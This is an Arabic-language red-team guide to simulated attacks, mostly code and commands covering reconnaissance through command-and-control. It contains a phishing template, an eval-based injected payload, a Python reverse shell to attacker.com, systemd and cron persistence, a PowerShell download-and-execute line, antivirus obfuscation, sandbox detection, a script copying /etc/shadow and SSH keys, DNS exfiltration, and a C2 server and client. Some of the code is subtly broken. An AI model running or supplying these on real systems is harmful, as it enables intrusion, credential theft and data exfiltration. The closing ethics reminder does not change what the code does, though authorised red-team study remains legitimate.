الفريق الأحمر المتقدم: دليل تقنيات الهجوم المُحاكى

الفريق الأحمر (Red Teaming) نهج متطور في الأمن السيبراني يحاكي هجمات واقعية. يستكشف هذا الدليل التقنيات المتقدمة التي تستخدمها الفرق الحمراء المحترفة.

1. التحضير والتخطيط

تقييم سطح الهجوم

# رسم خريطة الأصول
amass enum -passive -d target.com
subfinder -d target.com
assetfinder target.com

# تحليل المنافذ والخدمات
masscan -p1-65535 target.com --rate=1000

استخبارات التهديدات

# البحث عن المعلومات الحساسة
theHarvester -d target.com -b all
maltego

# تحليل شهادات SSL
sslscan target.com

2. تقنيات الوصول الأولي

التصيّد المتقدم

<!-- قالب تصيّد موجّه -->
<!DOCTYPE html>
<html>
<head>
    <title>Document Important</title>
    <style>
        .email-content {
            font-family: Arial;
            max-width: 600px;
            margin: 0 auto;
        }
        .header {
            background: #f8f9fa;
            padding: 20px;
        }
        .content {
            padding: 20px;
        }
    </style>
</head>
<body>
    <div class="email-content">
        <div class="header">
            <img src="logo.png" alt="Logo">
        </div>
        <div class="content">
            <p>Cher [Nom],</p>
            <p>Veuillez examiner le document joint.</p>
            <a href="http://attacker.com/malicious">Voir le document</a>
        </div>
    </div>
</body>
</html>

هجوم حفرة الماء (Watering Hole)

// حقن شيفرة خبيثة
<script>
(function() {
    var payload = "base64_encoded_payload";
    var decoder = new TextDecoder();
    var decoded = atob(payload);
    eval(decoded);
})();
</script>

3. التنفيذ والاستمرارية

برمجية خبيثة مخصّصة

# مثال على برمجية خبيثة بسيطة
import socket
import subprocess
import os

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker.com", 4444))
    return s

def execute_command(s, command):
    s.send(command.encode())
    while True:
        data = s.recv(1024)
        if data.decode() == "exit":
            break
        subprocess.Popen(data.decode(), shell=True)

def main():
    s = connect()
    execute_command(s, "whoami")
    s.close()

if __name__ == "__main__":
    main()

تقنيات الاستمرارية

# إنشاء خدمة نظام
cat > /etc/systemd/system/malicious.service << EOF
[Unit]
Description=System Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /opt/malware.py
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable malicious.service
systemctl start malicious.service

4. تصعيد الصلاحيات

Windows

# البحث عن الثغرات
powershell -ep bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PrivEsc.ps1')"

# استغلال الخدمات
sc config service_name binPath= "C:\Windows\System32\cmd.exe /c net user admin password /add"

Linux

# البحث عن SUID
find / -perm -4000 -type f 2>/dev/null

# استغلال cron
echo "* * * * * root /usr/bin/python3 /tmp/malware.py" > /etc/cron.d/malicious

5. التهرب من الدفاعات

التهرب من مضادات الفيروسات

# تشويش الشيفرة
import base64
import zlib

def obfuscate(code):
    return base64.b64encode(zlib.compress(code.encode()))

def deobfuscate(encoded):
    return zlib.decompress(base64.b64decode(encoded)).decode()

# مثال على الاستخدام
malicious_code = """
import socket
s = socket.socket()
s.connect(('attacker.com', 4444))
"""

encoded = obfuscate(malicious_code)
exec(deobfuscate(encoded))

كشف بيئة الاختبار المعزولة (Sandbox)

def check_sandbox():
    # التحقق من الذاكرة
    import psutil
    if psutil.virtual_memory().total < 2 * 1024 * 1024 * 1024:  # 2GB
        return True

    # التحقق من العمليات
    suspicious_processes = ['wireshark', 'processhacker', 'procmon']
    for proc in psutil.process_iter(['name']):
        if proc.info['name'].lower() in suspicious_processes:
            return True

    return False

6. الاستكشاف والحركة الجانبية

رسم خريطة الشبكة

# اكتشاف المضيفين
nmap -sn 192.168.1.0/24

# اكتشاف الخدمات
nmap -sV -p- 192.168.1.100

# اكتشاف المشاركات
smbmap -H 192.168.1.100

التمحور

# إنشاء نفق SSH
ssh -D 1080 user@target.com

# الاستخدام مع proxychains
proxychains nmap -sT -p- internal.network

7. الجمع والتسريب

سرقة البيانات

# مثال على سكربت للجمع
import os
import shutil
from datetime import datetime

def collect_data():
    sensitive_paths = [
        '/etc/passwd',
        '/etc/shadow',
        '/home/user/.ssh/',
        '/var/log/'
    ]
    
    output_dir = f'/tmp/collection_{datetime.now().strftime("%Y%m%d_%H%M%S")}'
    os.makedirs(output_dir, exist_ok=True)
    
    for path in sensitive_paths:
        if os.path.exists(path):
            shutil.copy2(path, output_dir)

التسريب

# ضغط وتشفير
tar czf data.tar.gz /sensitive/data
gpg --encrypt data.tar.gz

# النقل عبر DNS
for chunk in $(base64 data.tar.gz.gpg | tr -d '\n' | fold -w 32); do
    dig $chunk.attacker.com
done

8. القيادة والتحكم (Command & Control)

C2 مخصّص

# خادم C2 بسيط
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/cmd', methods=['POST'])
def execute_command():
    cmd = request.form.get('cmd')
    output = subprocess.check_output(cmd, shell=True)
    return output

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

اتصال C2

# عميل C2
import requests
import time

def connect_to_c2():
    while True:
        try:
            cmd = requests.get('http://attacker.com/cmd').text
            output = subprocess.check_output(cmd, shell=True)
            requests.post('http://attacker.com/output', data={'output': output})
        except:
            time.sleep(60)

الخلاصة

الفريق الأحمر تخصص معقّد يتطلب:

• معرفة عميقة بالأنظمة
• تقنيات هجوم متطورة
• أدوات مخصّصة
• منهجية صارمة
• توثيقًا دقيقًا

نقاط رئيسية يجب تذكّرها:

• الحصول دائمًا على تصريح كتابي
• توثيق جميع الإجراءات
• احترام الحدود المحدّدة
• الحفاظ على نهج أخلاقي
• تقديم تقارير مفصّلة